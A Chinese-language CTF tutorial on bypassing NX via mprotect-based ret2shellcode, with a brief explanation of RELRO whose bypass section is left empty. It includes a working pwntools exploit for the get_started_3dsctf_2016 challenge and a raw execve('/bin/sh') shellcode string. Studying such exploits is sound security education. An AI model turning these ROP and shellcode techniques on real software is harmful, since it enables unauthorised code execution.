NX和RELRO保护绕过


NX

简介

NX保护机制的全写为 NO-Execute(不可执行),NX的原理是将数据所在内存页标识为不可执行,当程序被劫持到数据页(不可执行内存)时,程序会尝试在数据页面上执行指令,因为数据页被标记为不可执行,此时CPU就会抛出异常,而不是去执行数据。

NX保护的出现导致向数据段写入shellcode并执行的方法也不可行了。

一般ret2shellcode的前提是没有NX保护,但是即便存在NX保护在一定条件下也有办法shellcode。

这里介绍一个可以修改内存权限的函数。

mprotect函数,可以改写内存权限

  • 第一个参数:开始地址(为了页对齐,该地址必须是一个内存页的起始地址,即页大小整数倍,1页=4k=0x1000)
  • 第二个参数:指定长度(长度也应该是页的整倍数,即0x1000的整数倍)
  • 第三个参数:指定属性(r=4(读)、w=2(写)、x=1(执行))

如果程序中存在这个函数就可以调用这个函数修改内存权限实现ret2shellcode。

bypass

一般碰到有NX保护的程序常规情况下我们无法进行shellcode。

所以我们需要通过其它利用方法绕过NX保护。

  1. 首先找程序有没有后门函数,尝试进行ret2text。

  2. 如果没有后门函数就分析程序是否可以泄露libc基址尝试进行ret2libc

  3. 如果无法泄露基址,就查看是否存在合适的gadget进行ret2syscall。

如果以上都不行,我们可以通过搜索函数表是否存在mprotect函数,通过mprotect修改内存权限进行shellcode从而绕过NX保护。

例题

get_started_3dsctf_2016

  1. 查保护

  2. 分析

  3. exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

pwnfile="./get_started_3dsctf_2016"
io=process(pwnfile)
elf=ELF(pwnfile)
context(log_level="debug",arch="i386")

mprotect_addr=elf.symbols["mprotect"]
read=elf.symbols["read"]
mem_addr=0x080Ea000
mem_size=0x1000
mem_proc=0x7

#pop ebp; pop esi; pop edi; ret
pop_addr=0x0809e4c5

payload=b"a"*0x38+p32(mprotect_addr)
payload+=p32(pop_addr)
payload+=p32(mem_addr)+p32(mem_size)+p32(mem_proc)

payload+=p32(read)
payload+=p32(pop_addr)
payload+=p32(0)+p32(mem_addr)+p32(0x100)
payload+=p32(mem_addr)

io.sendline(payload)

#pwntools生成shellcode
pay=asm(shellcraft.sh())
#也可以手写编码
#pay="\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"
io.sendline(pay)
io.interactive()

RELRO

原理

  • partial PELRO:一些段(包括.dynamic,.got等)在初始化后会被标记为只读。在unbuntu16.04(GCC-5.4.0)上,默认开启Partial RELRO。
  • Full RELRO :除了Partial RELRO,延迟绑定将被禁止,所有的导入符号将在开始时被解析,.got.plt段会被完全初始化为目标函数的最终地址,并被mprotect标记为只读,但其实.got.plt会被直接合并到.got,也就看不到这段了。另外link_map和_dl_runtime_reolve的地址也不会被装入。开启Full RELRO会对程序启动时的性能造成一定的影响,但也只有这样才能防止攻击者篡改GOT。

bypass

后言

参考: